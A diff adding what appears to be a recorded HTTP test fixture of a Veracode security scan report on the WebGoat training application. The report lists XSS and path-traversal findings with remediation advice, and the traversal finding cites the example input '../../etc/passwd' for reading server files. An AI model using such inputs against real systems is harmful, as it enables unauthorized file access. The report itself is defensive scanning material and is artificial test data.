+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:19 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:15:22 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:15:22 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAk4AAAGwCAYAAABfKeoBAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFnqSURBVHhe7Z0Bkuw2jkT/OX3XOdus2x6t+WkCmaBIlaR6G+HYcQsEgQeIyGJ1z/z6L/8HAQhAAAIQgAAEIGAR+GVZYQQBCEAAAhCAAAQg8F+EE00AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQADhRA9AAAIQgAAEIAABkwDCyQSFGQQgAAEIQAACEEA40QMQgAAEIAABCEDAJIBwMkFhBgEIQAACEIAABBBO9AAEIAABCEAAAhAwCSCcTFCYQQACEIAABCAAAYQTPQABCEAAAhCAAARMAggnExRmEIAABCAAAQhAAOFED0AAAhCAAAQgAAGTAMLJBIUZBCAAAQhAAAIQQDjRAxCAAAQgAAEIQMAkgHAyQWEGAQhAAAIQgAAEEE70AAQgAAEIQAACEDAJIJxMUJhBAAIQgAAEIAABhBM9AAEIQAACEIAABEwCCCcTFGYQgAAEIAABCEAA4UQPQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAAQQTvQABCAAAQhAAAIQMAkgnExQmEEAAhCAAAQgAAGEEz0AAQhAAAIQgAAETAIIJxMUZhCAAAQgAAEIQGC5cPrjjz/+yz8woAfoAXqAHqAH6IFdPfCf//znYwpuuXD6SYZ/YEAP0AP0AD1AD9ADO3vgU8ppuXD6VCLsCwEIQAACEIAABHYTQDjtJox/CEAAAhCAAAReQwDh9JpSkggEIAABCEAAArsJIJx2E8Y/BCAAAQhAAAKvIYBwek0pSQQCEIAABCAAgd0EEE67CeMfAhCAAAQgAIHXEEA4vaaUJAIBCEAAAhCAwG4CHxFOv36t23alrxb2j9/Dd7vHqv1W+ekbZJfflY34hBhX5osvCEAAAhB4D4F1CqZhMhqMTxqWWayr8nD8ODYIp/e8jGQCAQhAAAL3J4BwGtRot3ByBZFrd6RQtf9Uez4lzk/xYV8IQAACELgvgY8Ip35wHl+LjX4+EgXRV2etn+jWK9qr3ae3yb6qy/xFAsHJP8rF3a/CYnRrdawffX2Z8Y9EnIrnvq8IkUEAAhCAAAT+IbBFOP24V2IjG7BVsVT11cc3Eg69YFAxjXw6X1m6YlH5z/xU8nXFnuLh1p+XEQIQgAAEIPAkArcQTtntSjv0j2Hs3HhUxNsZ4VS9Sclum/pbHiWGInGnRNbxfHR7Nbppau0jVn1tEE5POgaIFQIQgAAEXAK3EE5RsNEwvpNwckFHtz7RDY8jfka3PtHPqkLGFVDVGqnbrwpPbCEAAQhAAAJXE9gmnJxbCkccqFsXVxAoP+7tjbufk5uyUTGPbuBWCadM4LhxObFc3fDsBwEIQAACEDhD4OPCqRVYV/xO0OjrqR5g9feOstuZ7FaofVa54Wlts99JynLNvh4dxaJ8ZcKzr3F2y3ammVkLAQhAAAIQ2E1gq3DaHfwZ/1cP7137ZcLpDB/WQgACEIAABCDwbwJfJZyc26a3NMkuofYWPuQBAQhAAAIQmCHwVcJpBhBrIAABCEAAAhCAwEEA4UQvQAACEIAABCAAAZMAwskEhRkEIAABCEAAAhBAONEDEIAABCAAAQhAwCSAcDJBYQYBCEAAAhCAAASWC6c//vjjv/wDA3qAHqAH6AF6gB7Y1QP/+c9/Pqbglgunn2T4Bwb0AD1AD9AD9AA9sLMHPqWclgunTyXCvhCAAAQgAAEIQGA3AYTTbs